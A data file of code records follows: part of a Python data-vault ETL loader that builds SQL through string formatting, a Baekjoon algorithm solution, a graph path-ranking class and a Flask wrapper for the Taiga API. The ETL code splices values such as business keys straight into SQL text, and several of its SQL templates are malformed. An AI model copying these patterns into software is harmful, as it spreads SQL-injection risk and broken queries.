COUNT(*) FROM {dv}.{sat};\".format(**satparams)\n        result = self.execute_read(sql, 'get rowcount')\n        rowcount = result[0][0]\n        if sat_cls.__base__ == HybridSat:\n            if rowcount == 0:\n                # alle zijn nieuw; geen rekening houden met _runid\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, type, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{type}', '{source_system}', now(), 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg\n                        WHERE hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND NOT EXISTS (select 1 from {dv}.{sat} sat where sat._id  =  _fk_{relation_type}{hub_or_link} AND sat.type = '{type}') AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert new in sat')\n            else:\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, type, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{type}', '{source_system}', now(), 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg\n                        WHERE floor(hstg._runid) = floor({runid}) AND hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND NOT EXISTS (select 1 from {dv}.{sat} sat where sat._id  =  fk_{relation_type}{hub_or_link} AND sat.type = '{type}') AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert new in sat')\n\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{source_system}', now(), sat._revision + 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg JOIN {dv}.{sat} sat ON sat._id =  fk_{relation_type}{hub_or_link}\n                        WHERE floor(hstg._runid) = floor({runid}) AND hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND sat._active = True AND sat.type = '{type}' AND ({fields_compare}) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert changed in sat')\n\n                sql = \"\"\"UPDATE {dv}.{sat} previous SET _active = FALSE, _finish_date = current._insert_date\n                        FROM {dv}.{sat} current WHERE previous._active = TRUE AND previous._id = current._id AND current._revision = (previous._revision + 1) AND current.type = '{type}' AND previous.type = '{type}' ;\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  update sat set old ones inactive')\n                self.logger.log('    FINISH {}'.format(sat_mappings))\n        else:\n\n            if rowcount == 0:\n                # alle zijn nieuw; geen rekening houden met _runid\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{source_system}', now(), 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg\n                        WHERE hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND NOT EXISTS (select 1 from {dv}.{sat} sat where sat._id  =  _fk_{relation_type}{hub_or_link}) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert new in sat')\n            else:\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{source_system}', now(), 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg\n                        WHERE floor(hstg._runid) = floor({runid}) AND hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND NOT EXISTS (select 1 from {dv}.{sat} sat where sat._id  =  _fk_{relation_type}{hub_or_link}) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert new in sat')\n\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                        SELECT DISTINCT ON (fk_{relation_type}{hub_or_link}) fk_{relation_type}{hub_or_link}, {runid}, '{source_system}', now(), sat._revision + 1, {sor_fields}\n                        FROM {sor}.{sor_table} hstg JOIN {dv}.{sat} sat ON sat._id =  fk_{relation_type}{hub_or_link}\n                        WHERE floor(hstg._runid) = floor({runid}) AND hstg._valid AND hstg.fk_{relation_type}{hub_or_link} IS NOT NULL AND sat._active = True AND ({fields_compare}) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  insert changed in sat')\n\n                sql = \"\"\"UPDATE {dv}.{sat} previous SET _active = FALSE, _finish_date = current._insert_date\n                        FROM {dv}.{sat} current WHERE previous._active = TRUE AND previous._id = current._id AND current._revision = (previous._revision + 1);\"\"\".format(\n                    **satparams)\n                self.execute(sql, '  update sat set old ones inactive')\n                self.logger.log('    FINISH {}'.format(sat_mappings))\n\n    def sor_to_link(self, mappings):\n        self.logger.log('  START {}'.format(mappings))\n        try:\n            if not mappings.filter:\n                mappings.filter = '1=1'\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n            params['link'] = mappings.target.cls_get_name()\n            params['link_type'] = mappings.type\n            params['sor_table'] = mappings.source.name\n            params['source_fks'] = self.__get_link_source_fks(mappings)\n            params['source_fks_is_not_null'] = self.__get_link_source_fks_is_not_null(mappings)\n            params['source_fks_is_null'] = params['source_fks_is_not_null'].replace('NOT ', '')\n            params['target_fks'] = self.__get_link_target_fks(mappings)\n\n            params['join'] = self.__get_link_join(mappings, schema_name=self.pipe.sor.name)\n            params['fks_compare'] = self.__get_link_fks_compare(mappings, source_alias='hstg', target_alias='link')\n\n            sql = \"\"\"\n            INSERT INTO {dv}.{link} (_runid, _source_system, _insert_date, type, {target_fks})\n            SELECT DISTINCT {runid}, '{source_system}', now(), '{link_type}', {source_fks}\n            FROM {sor}.{sor_table} hstg {join}\n            WHERE floor(hstg._runid) = floor({runid})\n            AND NOT ({source_fks_is_null})\n            AND NOT EXISTS (SELECT 1 FROM {dv}.{link} link WHERE {fks_compare} AND link.type='{link_type}') AND {filter};\"\"\".format(**params)\n            self.execute(sql,  'insert new links')\n\n            if len(mappings.sat_mappings) > 0:\n                # todo refactor\n                from_sql = ''\n                where_sql = ''\n                for field_mapping in mappings.field_mappings:\n                    join = field_mapping.join\n                    if field_mapping.bk:\n                        join_tbl = field_mapping.get_source_table()\n                        from_sql += ', dv.{}'.format(join_tbl)\n                        where_sql += 'dv.{}.bk = {} AND '.format(join_tbl, field_mapping.bk)\n                # from_sql = from_sql[:-1]\n                where_sql = where_sql[:-5]\n\n                params['from'] = from_sql\n                params['where'] = where_sql\n\n                sql = \"\"\"UPDATE {sor}.{sor_table} hstg SET fk_{type}{link} = link._id\nFROM {dv}.{link} link {from}\nWHERE {fks_compare} AND {where}\nAND hstg._valid AND {filter};\"\"\".format(\n                    **params)\n\n                self.execute(sql, 'update fk_link in sor table')\n\n            for sat_mappings in mappings.sat_mappings.values():\n                self.__sor_to_sat(params, sat_mappings)\n            self.logger.log('  FINISH {}'.format(mappings))\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n    def __get_link_source_fks(self, mappings: 'SorToLinkMapping'):\n        fks = ''\n        for field_mapping in mappings.field_mappings:\n            if field_mapping.source.table == mappings.sor_table_name:\n                fks += '{}, '.format(field_mapping.source)\n            else:\n                # fks += '{}.{}, '.format(field_mapping.source.table, field_mapping.source)\n                fks += '{}.{}, '.format(field_mapping.source_alias, field_mapping.source)\n        fks = fks[:-2]\n        return fks\n\n    def __get_link_source_fks_is_not_null(self, mappings: 'SorToLinkMapping'):\n        fks = ''\n        for field_mapping in mappings.field_mappings:\n            if field_mapping.source.table == mappings.sor_table_name:\n                fks += '{} IS NOT NULL AND '.format(field_mapping.source)\n            else:\n                fks += '{}.{} IS NOT NULL AND '.format(field_mapping.source_alias, field_mapping.source)\n        fks = fks[:-5]\n        return fks\n\n    def __get_link_target_fks(self, mappings: 'SorToLinkMapping'):\n        fks = ''\n        for field_mapping in mappings.field_mappings:\n            fks += '{}, '.format(field_mapping.target)\n        fks = fks[:-2]\n        return fks\n\n    def __get_link_fks_compare(self, mappings: 'SorToLinkMapping', source_alias='', target_alias=''):\n        if not source_alias: source_alias = 'hstg'\n        if not target_alias: target_alias = 'link'\n        fks_compare = ''\n        for field_mapping in mappings.field_mappings:\n            if isinstance(field_mapping.source, ConstantValue):\n                fks_compare += '{0} = {1}.{2} AND '.format(field_mapping.source, target_alias, field_mapping.target)\n            elif field_mapping.is_view_mapping:\n                fks_compare += '{0}.{1} = {2}.{3} AND '.format(field_mapping.source.table, field_mapping.source, target_alias, field_mapping.target)\n            else:\n                source_alias = self.__get_link_alias_of_source_tbl(field_mapping, fks_compare)\n                fks_compare += '{0}.{2} = {1}.{3} AND '.format(source_alias, target_alias, field_mapping.source, field_mapping.target)\n        fks_compare = fks_compare[:-4]\n        return fks_compare\n\n    def __get_link_join(self, mappings, schema_name='sor'):\n        #todo robuuster maken met aliassen en ands\n        join_sql = ''\n        for field_mapping in mappings.field_mappings:\n            join = field_mapping.join\n            bk = field_mapping.bk\n            if join:\n                join_tbl = field_mapping.get_source_table()\n                if field_mapping.is_view_mapping:\n                    schema_name = 'dv'\n                    join_sql += ' INNER JOIN {}.{} ON {} \\r\\n'.format(schema_name, join_tbl, join)\n                else:\n                    join_alias = self.__get_link_alias_of_source_tbl(field_mapping, join_sql)\n                    join = join.replace(join_tbl + '.', join_alias + '.')\n                    join_sql += ' INNER JOIN {}.{} {} ON {} \\r\\n'.format(schema_name, join_tbl, join_alias, join)\n            elif bk:\n                join_tbl = field_mapping.get_source_table()\n                join_alias = self.__get_link_alias_of_source_tbl(field_mapping, join_sql)\n                join_sql += ' LEFT JOIN dv.{0} AS {1} ON {1}.bk = {2} \\r\\n'.format(join_tbl, join_alias, bk)\n        return join_sql\n\n    def __get_link_alias_of_source_tbl(self, field_mapping, total_sql, default_alias='hstg'):\n        #bij een join in de sql moet elke bron tabel een eigen alias krijgen\n        #dat wordt hier bepaald\n        alias = default_alias\n        if field_mapping.join:\n            join_tbl = field_mapping.get_source_table()\n            alias = join_tbl[:3] + '_hstg'\n            index = 1\n            while alias in total_sql:\n                alias = alias + str(index)\n                index += 1\n        if field_mapping.bk:\n            # join_tbl = field_mapping.get_source_table()\n            alias = field_mapping.source_alias\n        return alias\n\n    def sor_to_ref(self, mappings: SorToValueSetMapping):\n        self.logger.log('  START {}'.format(mappings))\n        try:\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n\n            if isinstance(mappings.source, dict):\n                values = ''\n                for code, descr in mappings.source.items():\n                    params['code'] = code\n                    params['descr'] = descr\n                    values += \"('{code}', '{descr}'),\\r\\n\".format(**params)\n                values = values [:-3]\n                params['values'] = values\n                insert_sql = \"\"\"\n\n                    CREATE TEMP TABLE _ref_values_temp (code text, weergave_naam text);\n\n                    INSERT INTO _ref_values_temp (code, weergave_naam)\n                    VALUES {values};\n\n                    INSERT INTO {dv}._ref_valuesets (_runid, _source_system, _insert_date, naam, oid)\n                    SELECT {runid}, '{source_system}', now(), '{ref_type}', NULL\n                    WHERE NOT EXISTS (SELECT 1 FROM {dv}._ref_valuesets sets WHERE sets.naam = '{ref_type}');\n\n                    INSERT INTO {dv}._ref_values (_runid, _active, _source_system, _insert_date, _revision, valueset_naam, code, weergave_naam)\n                    SELECT DISTINCT {runid}, True, '{source_system}', now(), 0, '{ref_type}', code, weergave_naam\n                    FROM _ref_values_temp tmp\n                    WHERE\n                      NOT EXISTS (SELECT 1 FROM {dv}._ref_values ref WHERE ref.valueset_naam = '{ref_type}' AND ref.code = tmp.code AND ref.weergave_naam = tmp.weergave_naam);\n\n\n                    DROP TABLE _ref_values_temp;\n                      \"\"\".format(**params)\n            elif mappings.source_type_field:\n                insert_sql = \"\"\"\n                    INSERT INTO {dv}._ref_valuesets (_runid, _source_system, _insert_date, naam, oid)\n                    SELECT DISTINCT {runid}, '{source_system}', now(), {source_type_field}, {source_oid_field}\n                    FROM {sor}.{sor_table} hstg\n                    WHERE floor(hstg._runid) = floor({runid})\n                      AND hstg._valid AND hstg._active\n                      AND NOT EXISTS (SELECT 1 FROM {dv}._ref_valuesets sets WHERE sets.naam = hstg.{source_type_field});\n\n                    INSERT INTO {dv}._ref_values (_runid, _active, _source_system, _insert_date, _revision, valueset_oid, valueset_naam, code, weergave_naam, niveau, niveau_type)\n                    SELECT DISTINCT {runid}, True, '{source_system}', now(), 0, {source_oid_field}, {source_type_field}, {source_code_field}, {source_descr_field}, {source_level_field}, {source_leveltype_field}\n                    FROM {sor}.{sor_table} hstg\n                    WHERE floor(hstg._runid) = floor({runid})\n                      AND hstg._valid AND hstg._active\n                      AND NOT EXISTS (SELECT 1 FROM {dv}._ref_values ref WHERE ref.valueset_naam = hstg.{source_type_field} AND ref.code = hstg.{source_code_field}\n                                AND ref.weergave_naam = hstg.{source_descr_field} AND ref.niveau = {source_level_field});\"\"\".format(**params)\n            elif mappings.source_code_field and not mappings.source_descr_field:\n                insert_sql = \"\"\"\n                    INSERT INTO {dv}._ref_valuesets (_runid, _source_system, _insert_date, naam, oid)\n                    SELECT {runid}, '{source_system}', now(), '{ref_type}', NULL\n                    WHERE NOT EXISTS (SELECT 1 FROM {dv}._ref_valuesets sets WHERE sets.naam = '{ref_type}');\n\n                    INSERT INTO {dv}._ref_values (_runid, _active, _source_system, _insert_date, _revision, valueset_naam, code, weergave_naam, niveau, niveau_type)\n                    SELECT DISTINCT {runid}, True, '{source_system}', now(), 0, '{ref_type}', {source_code_field}, NULL, NULL, NULL,\n                    FROM {sor}.{sor_table} hstg\n                    WHERE floor(hstg._runid) = floor({runid})\n                      AND hstg._valid AND hstg._active\n                      AND NOT EXISTS (SELECT 1 FROM {dv}._ref_values ref WHERE ref.valueset_naam = '{ref_type}' AND ref.code = hstg.{source_code_field}\n                                    AND ref.weergave_naam = hstg.{source_descr_field} AND ref.niveau = {source_level_field} AND ref.niveau_type = {source_leveltype_field)};\"\"\".format(**params)\n            else:\n                insert_sql = \"\"\"\n                    INSERT INTO {dv}._ref_valuesets (_runid, _source_system, _insert_date, naam, oid)\n                    SELECT {runid}, '{source_system}', now(), '{ref_type}', NULL\n                    WHERE NOT EXISTS (SELECT 1 FROM {dv}._ref_valuesets sets WHERE sets.naam = '{ref_type}');\n\n                    INSERT INTO {dv}._ref_values (_runid, _active, _source_system, _insert_date, _revision, valueset_naam, code, weergave_naam, niveau, niveau_type))\n                    SELECT DISTINCT {runid}, True, '{source_system}', now(), 0, '{ref_type}', {source_code_field}, {source_descr_field}, {source_level_field}, {source_leveltype_field}\n                    FROM {sor}.{sor_table} hstg\n                    WHERE floor(hstg._runid) = floor({runid})\n                      AND hstg._valid AND hstg._active\n                      AND NOT EXISTS (SELECT 1 FROM {dv}._ref_values ref WHERE ref.valueset_naam = '{ref_type}' AND ref.code = hstg.{source_code_field}\n                                    AND ref.weergave_naam = {source_descr_field} AND ref.niveau = {source_level_field} AND ref.niveau_type = {source_leveltype_field);\"\"\".format(**params)\n\n            self.execute(insert_sql, 'insert refs')\n\n            # oude is nog actief, maar runid is kleiner. Dit is het laatste record\n            insert_sql = \"\"\"update {dv}._ref_values current set _revision = previous._revision + 1\n                    from {dv}._ref_values previous where current._active = True AND previous._active = True AND previous.valueset_naam = current.valueset_naam AND previous.code = current.code and previous._runid < current._runid;\"\"\".format(\n                **params)\n            self.execute(insert_sql, 'update ref revision')\n            # nu oude inctief maken\n            insert_sql = \"\"\"update {dv}._ref_values previous set _active = False, _finish_date = current._insert_date\n                    from {dv}._ref_values current where previous._active = True AND previous.valueset_naam = current.valueset_naam AND previous.code = current.code and previous._runid < current._runid;\"\"\".format(\n                **params)\n            self.execute(insert_sql, 'update ref set old ones inactive')\n            self.logger.log('  FINISH {}'.format(mappings))\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n            \n    def view_to_entity(self, mappings):\n        self.logger.log('  START {}'.format(mappings))\n        try:\n            if not mappings.filter:\n                mappings.filter = '1=1'\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n\n            sql = \"\"\"\n          INSERT INTO {dv}.{hub} (_runid, _insert_date, _source_system, type, bk)\n          SELECT DISTINCT {runid}, now(), '{source_system}', '{type}', {bk_mapping} FROM {dv}.{view} view\n          WHERE view._valid AND {bk_mapping} NOT IN (SELECT bk FROM {dv}.{hub}) AND {filter};\"\"\".format(\n                **params)\n            self.execute(sql,  'insert new hub')\n\n            # sql = \"\"\"SELECT hub._id FROM {dv}.{hub} hub JOIN {dv}.{sor_table} view ON {bk_mapping} = hub.bk WHERE floor(view._runid) = floor({runid}) AND view._valid AND {filter};\"\"\".format(\n            #     **params)\n            # self.execute(sql,  'load hub_ids in mem (performance)')\n\n            # sql = \"\"\"UPDATE {dv}.{sor_table} view SET _fk_{type}{hub} = hub._id FROM {dv}.{hub} hub WHERE {bk_mapping} = hub.bk AND floor(view._runid) = floor({runid}) AND view._valid AND {filter};\"\"\".format(\n            #     **params)\n            # self.execute(sql,  'update fk_hub in sor table')\n\n            for sat_mappings in mappings.sat_mappings.values():\n                self.logger.log('    START {}'.format(sat_mappings))\n\n                satparams = sat_mappings.__dict__\n                satparams.update(self._get_fixed_params())\n                satparams['view'] = sat_mappings.source\n                satparams['type'] = params['type']\n                satparams['filter'] = params['filter']\n                satparams['bk_mapping'] = params['bk_mapping']\n                satparams['view_fields'] = sat_mappings.get_source_fields(alias='view')\n                satparams['sat_fields'] = sat_mappings.get_sat_fields()\n                satparams['fields_compare'] = sat_mappings.get_fields_compare(source_alias='view', target_alias='sat')\n\n                sql = \"\"\"\n                INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                SELECT DISTINCT ON (hub._id) hub._id, {runid}, '{source_system}', now(), 1, {view_fields}\n                FROM {dv}.{view} view\n                JOIN {dv}.{hub} hub ON hub.bk = {bk_mapping}\n                WHERE view._valid AND NOT EXISTS (select 1 from {dv}.{sat} sat where sat._id  =  hub._id) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql,  '  insert new in sat')\n\n                sql = \"\"\"\n                INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                SELECT DISTINCT ON (hub._id) hub._id, {runid}, '{source_system}', now(), sat._revision + 1, {view_fields}\n                FROM {dv}.{view} view\n                JOIN {dv}.{hub} hub ON hub.bk = view.bk\n                JOIN {dv}.{sat} sat ON sat._id =  hub._id\n                WHERE view._valid AND sat._active = True AND ({fields_compare}) AND {filter};\"\"\".format(\n                    **satparams)\n                self.execute(sql,  '  insert changed in sat')\n\n                sql = \"\"\"\n                UPDATE {dv}.{sat} previous SET _active = FALSE, _finish_date = current._insert_date\n                FROM {dv}.{sat} current WHERE previous._active = TRUE AND previous._id = current._id AND current._revision = (previous._revision + 1);\"\"\".format(\n                    **satparams)\n                self.execute(sql,  '  update sat set old ones inactive')\n                self.logger.log('    FINISH {}'.format(sat_mappings))\n            self.logger.log('  FINISH {}'.format(mappings))\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n    def view_to_link(self, mappings):\n        self.logger.log('  START {}'.format(mappings))\n        try:\n            if not mappings.filter:\n                mappings.filter = '1=1'\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n            params['source_fks'] = mappings.get_source_fks()\n            params['target_fks'] = mappings.get_target_fks()\n            params['from'] = mappings.get_from()\n            params['join'] = mappings.get_join()\n            params['fks_compare'] = mappings.get_fks_compare(target_alias='link')\n\n            sql = \"\"\"\n            INSERT INTO {dv}.{link} (_runid, _source_system, _insert_date, {target_fks})\n            SELECT {runid}, '{source_system}', now(), {source_fks}\n            FROM {dv}.{view}  {join}\n            WHERE floor({dv}.{view}._runid) = floor({runid}) AND\n              NOT EXISTS (SELECT 1 FROM {dv}.{link} link WHERE {fks_compare}) AND {filter};\"\"\".format(**params)\n\n            # sql = \"\"\"\n            # INSERT INTO {dv}.{link} (_runid, _source_system, _insert_date, {target_fks})\n            # SELECT {runid}, '{source_system}', now(), {source_fks}\n            # FROM {from}\n            # WHERE {join} AND floor({dv}.{view}._runid) = floor({runid}) AND\n            #   NOT EXISTS (SELECT 1 FROM {dv}.{link} link WHERE {fks_compare}) AND {filter};\"\"\".format(**params)\n\n            self.execute(sql,  'insert new links')\n            self.logger.log('  FINISH {}'.format(mappings))\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n    def validate_dv(self, validation: DvValidation):\n        try:\n            params = validation.__dict__\n            params.update(self._get_fixed_params())\n            params['table'] = validation.table.name\n            sql = \"\"\"UPDATE {dv}.{table} set _valid = False, _validation_msg = COALESCE(_validation_msg, '') || '{msg}; '\n                where _runid = {runid} AND {sql_condition};\"\"\".format(\n                **params)\n            self.execute(sql, 'validate dv: ' + validation.msg)\n\n            self.copy_to_exceptions_table(validation.table, self.dwh.dv)\n        except Exception as ex:\n            self.logger.log_error(validation.msg, err_msg=ex.args[0])\n            # raise Exception(ex.args[0])\n\n    def ensure_hub(self, row, params):\n        params['bk'] = row['bk']\n        sql = \"\"\"SELECT _id FROM {dv}.{hub} WHERE bk = '{bk}'\"\"\".format(**params)\n        rows = self.execute_read(sql)\n        id = 0\n        is_new = False\n        if rows :\n            id = rows[0][0]\n        if not id:\n            id =  self.insert_hub(row, params)\n            is_new = True\n        return id, is_new\n\n    def insert_hub(self, row, params):\n        self.hub_id += 1\n        params['id'] = self.hub_id\n        sql = \"\"\"INSERT INTO {dv}.{hub} (_id, _runid, type, bk) VALUES ({id}, {runid}, '{hub_type}', '{bk}')\"\"\".format(**params)\n        rows = self.execute_without_commit(sql)\n        return self.hub_id\n\n","repo_name":"NLHEALTHCARE/PYELT","sub_path":"pyelt/process/old/etl_in_mem.py","file_name":"etl_in_mem.py","file_ext":"py","file_size_in_byte":49947,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"8348065618","text":"def bfs(x, y, depth, sum):\r\n    global answer\r\n    if depth == K:\r\n        if sum > answer:\r\n            answer = sum\r\n        return\r\n    else:\r\n        for i in range(x, N):\r\n            for j in range(y if i == x else 0, M):\r\n                if [i, j] not in queue:\r\n                    if ([i + 1, j] not in queue) and ([i - 1, j] not in queue) and ([i, j + 1] not in queue) and ([i, j - 1] not in queue):\r\n                        queue.append([i, j])\r\n                        bfs(i, j, depth + 1, sum + map[i][j])\r\n                        queue.pop()\r\n\r\n\r\nN, M, K = map(int, input().split())\r\nmap = [list(map(int, input().split())) for _ in range(N)]\r\n\r\nqueue = []\r\nanswer = -1e10\r\n\r\nbfs(0, 0, 0, 0)\r\n\r\nprint(answer)","repo_name":"ChaCha3088/Algorithm","sub_path":"백준/Silver/18290. NM과 K （1）/NM과 K （1）.py","file_name":"NM과 K （1）.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26748908487","text":"class PathOracle:\r\n    def __init__(self, edges):\r\n        self.graph_dict = {}\r\n        for start, end, cost in edges:\r\n            self.graph_dict.setdefault(start, []).append((end, cost))\r\n\r\n    def find_all_paths(self, start, end, current_path=[], cost=0):\r\n        current_path = current_path + [start]\r\n        if start == end:\r\n            return [(cost, current_path)]\r\n\r\n        if start not in self.graph_dict:\r\n            return []\r\n\r\n        paths = []\r\n        for neighbor, edge_cost in self.graph_dict[start]:\r\n            if neighbor not in current_path:\r\n                new_paths = self.find_all_paths(neighbor, end, current_path.copy(), cost + edge_cost)\r\n                paths.extend(new_paths)\r\n\r\n        return paths\r\n\r\n    def show_ranked_paths(self, start, end, show_oracle_value=False):\r\n        paths = self.find_all_paths(start, end)\r\n\r\n        if not paths:\r\n            print(\"No valid path found.\")\r\n            return\r\n\r\n        paths.sort(key=lambda x: x[0])\r\n\r\n        print(\"Paths ranked from best to worst based on cost:\")\r\n        oracle = paths[0]\r\n        print(\"Oracle:\", oracle[0] if show_oracle_value else \"Hidden\")  # Show oracle value on request\r\n\r\n# Define the edges with updated values\r\nedges_with_cost = [('S', 'B', 4), ('S', 'A', 3), ('A', 'B', 2), ('B', 'A', 3),\r\n                   ('A', 'D', 5), ('D', 'F', 4), ('B', 'C', 2), ('C', 'E', 4), ('F', 'G', 2)]\r\n\r\npath_oracle = PathOracle(edges_with_cost)\r\npath_oracle.show_ranked_paths('S', 'G', show_oracle_value=True)  \r\n","repo_name":"vivek777Anonymus/ai_searchalgorithms","sub_path":"ai_alg/ORACLE.py","file_name":"ORACLE.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39332190400","text":"from dotenv import load_dotenv\nload_dotenv()\nfrom flask import Blueprint, jsonify, request\nfrom taiga import TaigaAPI\nimport os\n\nbp = Blueprint('taiga', __name__)\n\ntry:\n    user=os.environ.get('USER')\n    passw=os.environ.get('PASS')\n    taiga = TaigaAPI()\n\n    taiga.auth(\n        username=user,\n        password=passw\n    )\nexcept:\n    pass\n\n# User Story Endpoints\n@bp.route('/userstories', methods=['GET'])\ndef get_user_stories():\n    user_stories = taiga.user_stories.list()\n    return jsonify([user_story.to_dict() for user_story in user_stories])\n\n\n@bp.route('/userstories', methods=['POST'])\ndef create_user_story():\n    user_story_data = request.get_json()\n    user_story = taiga.user_stories.create(project_id=user_story_data['project_id'], subject=user_story_data['subject'])\n    return jsonify(user_story.to_dict())\n\n\n@bp.route('/userstories/<int:user_story_id>', methods=['GET'])\ndef get_user_story(user_story_id):\n    user_story = taiga.user_stories.get(user_story_id)\n    if user_story:\n        return jsonify(user_story.to_dict())\n    return jsonify({'message': 'User story not found'})\n\n\n@bp.route('/userstories/<int:user_story_id>', methods=['PUT'])\ndef update_user_story(user_story_id):\n    user_story_data = request.get_json()\n    user_story = taiga.user_stories.get(user_story_id)\n    if user_story:\n        user_story.subject = user_story_data['subject']\n        user_story.save()\n        return jsonify(user_story.to_dict())\n    return jsonify({'message': 'User story not found'})\n\n\n@bp.route('/userstories/<int:user_story_id>', methods=['DELETE'])\ndef delete_user_story(user_story_id):\n    user_story = taiga.user_stories.get(user_story_id)\n    if user_story:\n        user_story.delete()\n        return jsonify({'message': 'User story deleted'})\n    return jsonify({'message': 'User story not found'})\n\n\n# Task Endpoints\n@bp.route('/tasks', methods=['GET'])\ndef get_tasks():\n    tasks = taiga.tasks.list()\n    return jsonify([task.to_dict() for task in tasks])\n\n\n@bp.route('/tasks', methods=['POST'])\ndef create_task():\n    task_data = request.get_json()\n    task = taiga.tasks.create(user_story_id=task_data['user_story_id'], subject=task_data['subject'])\n    return jsonify(task.to_dict())\n\n\n@bp.route('/tasks/<int:task_id>', methods=['GET'])\ndef get_task(task_id):\n    task = taiga.tasks.get(task_id)\n    if task:\n        return jsonify(task.to_dict())\n    return jsonify({'message': 'Task not found'})\n\n\n@bp.route('/tasks/<int:task_id>', methods=['PUT'])\ndef update_task(task_id):\n    task_data = request.get_json()\n    task = taiga.tasks.get(task_id)\n    if task:\n        task.subject = task_data['subject']\n        task.save()\n        return jsonify(task.to_dict())\n    return jsonify({'message': 'Task not found'})\n\n\n@bp.route('/tasks/<int:task_id>', methods=['DELETE'])\ndef delete_task(task_id):\n    task = taiga.tasks.get(task_id)\n    if task:\n        task.delete()\n        return jsonify({'message': 'Task deleted'})\n    return jsonify({'message': 'Task not found'})\n\n\n# Comment Endpoints\n@bp.route('/comments', methods=['GET'])\ndef get_comments():\n    comments = taiga.comments.list()\n    return jsonify([comment.to_dict() for comment in comments])\n\n\n@bp.route('/comments', methods=['POST'])\ndef create_comment():\n    comment_data = request.get_json()\n    comment = taiga.comments.create(object_id=comment_data['object_id'], object_type=comment_data['object_type'], content=comment_data['content'])\n    return jsonify(comment.to_dict())\n\n\n@bp.route('/comments/<int:comment_id>', methods=['GET'])\ndef get_comment(comment_id):\n    comment = taiga.comments.get(comment_id)\n    if comment:\n        return jsonify(comment.to_dict())\n    return jsonify({'message': 'Comment not found'})\n\n\n@bp.route('/comments/<int:comment_id>', methods=['PUT'])\ndef update_comment(comment_id):\n    comment_data = request.get_json()\n    comment = taiga.comments.get(comment_id)\n    if comment:\n        comment.content = comment_data['content']\n        comment.save()\n        return jsonify(comment.to_dict())\n    return jsonify({'message': 'Comment not found'})\n\n\n@bp.route('/comments/<int:comment_id>', methods=['DELETE'])\ndef delete_comment(comment_id):\n    comment = taiga.comments.get(comment_id)\n    if comment:\n        comment.delete()\n        return jsonify({'message': 'Comment deleted'})\n    return jsonify({'message': 'Comment not found'})","repo_name":"mouimet-infinisoft/smartnotes","sub_path":"api/taiga/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
